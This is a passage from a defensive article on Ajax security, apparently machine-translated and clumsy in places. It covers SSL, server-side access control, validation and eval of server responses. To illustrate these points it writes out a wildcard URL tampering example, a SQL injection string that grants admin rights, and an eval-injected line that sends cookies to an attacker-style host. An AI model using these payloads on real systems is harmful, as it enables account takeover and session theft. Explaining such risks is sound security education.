On the security of Ajax and the hidden dangers of Ajax (2)

ajax| Safety | security | Safety Hazard 5. Unsecured communication: Each AJAX call may return only a small amount of data to the client, but the data is private and confidential. Max can write a handy tool to digitally verify your credit card number, but what if you use plain text instead of over SSL to send data? This is an obvious question, but it's easy to ignore SSL when there are a lot of routines that need to be considered, especially when the other 99% of the data on the screen is not really confidential.

6. Server-side access control: using JavaScript programs to trigger Ajax often hides some obvious coding errors, and server-side access control is an example. Suppose Max wants to refer to a detailed destination of your last visit to provide you with the hotel you like, and he may be as follows:
Showprevioushotels.aspx?userid=12345&destination=uk

This is certainly very good, but what if a malicious user changed the URL to look like this:
showprevioushotels.aspx?userid=12346&destination=%

Will they get other people's favorite hotels? (Note:% is a wildcard in SQL statements.) There is no doubt that this is a harmless example, but Max should use a session, cookie, or other symbolic form to ensure that the data is available and can only be sent to the correct user. They may just be a small part of the data, but they may be the most important part.

7. Server-side validation: There are actually two problems here. First, Ajax controls are often used to validate input before the user finally submits it to the server. This paralyzed Max, giving Max a false sense of security because he built a function called alloweddestinations.php, which determines the correct destination that they can reach based on the user ID.

Since this is a server-side check, when the page is finally submitted, he does not have to worry about checking on the server again, here we assume that no malicious user will secretly destroy the response from alloweddestinations.php or destroy the last request to the server.

Ajax controls can validate user input more carefully than users do, but they often do the final validation on the server.

The second problem with Ajax validation is that the control itself is affected by the validation vulnerabilities. Again, the URL is usually hidden, so it's often forgotten. For example, perhaps I can use SQL injection to attack just the script, as follows:
Showprevioushostels.aspx?userid= '; Update users set type= ' admin ' where userid=12345;--

Will let me have the privileges of the system administrator when I log in. Of course, how to get those table names (tables) and field names is beyond the scope of this article, but you already know that, don't you?

8. Client-Side validation: We already know that in the Google suggest example just now, it is possible to dynamically create and execute JavaScript functions by simply evaluating the response of the server. Without any form of validation (if this is hard to guarantee reliability and fluency at the client), the client will simply perform what the server needs it to do.

That way, because the real code is never going to be visible to an average user (that is, you're not able to "view the source file"), it potentially opens up a complete attack direction for malicious hackers. This attack will be difficult to detect if the server's response continues to be disruptive (this may be the case on the Web server itself or in the data transfer process).

Max uses the following response to update the weather icon on the destination page, which is the eval () function:
Updateweathericon (' cloudy.gif ');

However, a malicious cracker can turn this function into the following form, which makes it more difficult to find this attack:
Updateweathericon (' www.myhackingsite.ru/grab.aspx?c= ' + document.cookies); Updateweathericon (' cloudy.gif ');

We are now able to track each user's session Id/cookie on our own servers.

　　 Summary

There is no doubt that Ajax and Ajax-style technologies are bright avenues to web design. Developers can create real "apps" on the web that they never had before, and use Ajax to be cautious, so that they can secure a Web site.

One of the biggest threats, however, comes from the increasingly complex use of AJAX-enabled client script and server-side scripting. These scripts are hidden from view by technology, making the tests very intuitive, and this new technology also seems to make Web developers forget the basics of good coding. Problems like access control and input validation don't go away, they get more complicated.

5 of the most important Ajax security tips:

In order to be successful, you must start with a good plan. You have to focus your intellect on reducing and simplifying the Ajax invocation, creating a standard response format that follows this protocol everywhere (ideal XML).

Follow the best practices from sites like the open Web Application Security program. This specifically includes access control and input check vulnerability checks, while ensuring that sensitive information uses over SSL rather than using plain text.

Never assume that server-side Ajax can replace final checks on the server for access control or user input checksum checking. Adding AJAX controls will never reduce your verification effort, they can only increase your workload.

Never assume that client-side obfuscation techniques (obfuscation, where JavaScript is difficult to read and decode) can protect your very important business secrets. Using JavaScript is one of the most useless ways to hide programming, and it can also provide benefits to your opponents.

In the end, you have to be very good at leading your development team. Using Ajax sounds very compelling, but you should realize that you need to keep your development team in order to develop version 2, and of course now you should develop a very stable version of 1.